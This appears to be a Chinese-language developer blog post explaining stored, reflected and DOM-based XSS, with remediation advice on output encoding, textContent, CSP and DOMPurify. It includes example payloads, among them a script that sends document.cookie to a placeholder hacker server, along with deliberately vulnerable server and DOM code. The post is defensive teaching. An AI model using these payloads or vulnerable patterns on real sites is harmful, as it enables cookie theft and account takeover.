前端安全：你还在忽视这3个致命 XSS 漏洞？

老铁们，今天咱们来聊聊前端安全里那个老生常谈却又总被轻视的"大魔王"------XSS（跨站脚本攻击）。很多童鞋们觉得："不就是弹个alert吗？有啥大不了的？" 但现实是，一个XSS漏洞轻则偷用户数据、挂马，重则让整个应用沦陷。下面这三个致命XSS漏洞，看看你中招了没！

---

致命漏洞一：存储型XSS（评论区沦陷区）

场景再现 ：

用户在你精心设计的评论区输入：

<script>fetch('https://黑客服务器.com/steal?cookie='+document.cookie)</script>

如果未经处理直接存入数据库，那么每个打开此页面的用户都会自动执行这段脚本------用户的Cookie瞬间被黑客窃取！

Demo 演示：

// 危险！后端直接将用户输入返回给前端
app.get('/comments', (req, res) => {
  const comments = db.getComments(); // 包含恶意脚本的数据
  res.send(comments); 
});

// 前端直接渲染（作死行为）
document.getElementById('comment-list').innerHTML = comments;

---

致命漏洞二：反射型XSS（搜索框成重灾区）

场景再现 ：

用户点击一个精心构造的链接：

https://你的网站.com/search?keyword=<script>alert('你被黑了！')</script>

如果后端直接将keyword参数返回给前端渲染，恶意脚本立刻执行！钓鱼邮件常用此招诱导用户点击。

Demo 演示：

// 后端危险代码（Node.js示例）
app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(`你搜索的关键词是：${keyword}`); // 直接拼接HTML！
});

// 前端访问：/search?keyword=<img src=x onerror=alert(1)>

---

致命漏洞三：DOM型XSS（前端JS的暗坑）

最易被忽略！ 数据从未经过后端，纯前端操作DOM引发漏洞。

场景再现 ：

用户打开链接：

https://你的网站.com#<script>alert('DOM XSS!')</script>

前端JS直接读取location.hash并插入页面：

// 致命操作！
const userInput = location.hash.substring(1);
document.body.innerHTML = userInput; // 脚本执行！

---

🔒 修复方案：三层防御盾

1. 输入过滤 + 输出编码（黄金组合）

// 前端过滤（辅助手段，不可靠！）
function escapeHtml(unsafe) {
  return unsafe.replace(/[&<"'>]/g, (match) => 
    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' }[match])
  );
}

// 后端必须做输出编码（以Node.js为例）
const safeOutput = escapeHtml(userInput);
res.send(`<div>${safeOutput}</div>`);

2. 安全DOM操作（告别 innerHTML）

//  安全做法：textContent代替innerHTML
document.getElementById('output').textContent = userInput;

//  使用DOM API创建元素
const link = document.createElement('a');
link.textContent = userInput;
link.href = safeUrl;
container.appendChild(link);

3. 终极武器：Content Security Policy (CSP)

在HTTP头中配置：

Content-Security-Policy: default-src 'self'; script-src 'nonce-random123'

禁止内联脚本，只允许特定nonce的脚本执行，彻底锁死XSS。

---

实战代码：安全评论区实现

<!-- 前端安全渲染 -->
<div id="comments"></div>

<script>
  // 从API获取评论（后端已编码）
  fetch('/api/comments')
    .then(res => res.json())
    .then(comments => {
      const container = document.getElementById('comments');
      comments.forEach(comment => {
        const div = document.createElement('div');
        div.className = 'comment';
        div.textContent = comment.content; // 关键！使用textContent
        container.appendChild(div);
      });
    });
</script>

---

行动清单：立即检查你的项目！

1. 全局搜索 innerHTML、outerHTML、document.write() ------ 替换为安全方法
2. 所有用户输入点（评论、搜索、URL参数）强制进行输出编码
3. 部署CSP策略并开启报告（Content-Security-Policy-Report-Only）
4. 使用安全库：DOMPurify（清理HTML）、js-xss（Node端过滤）

---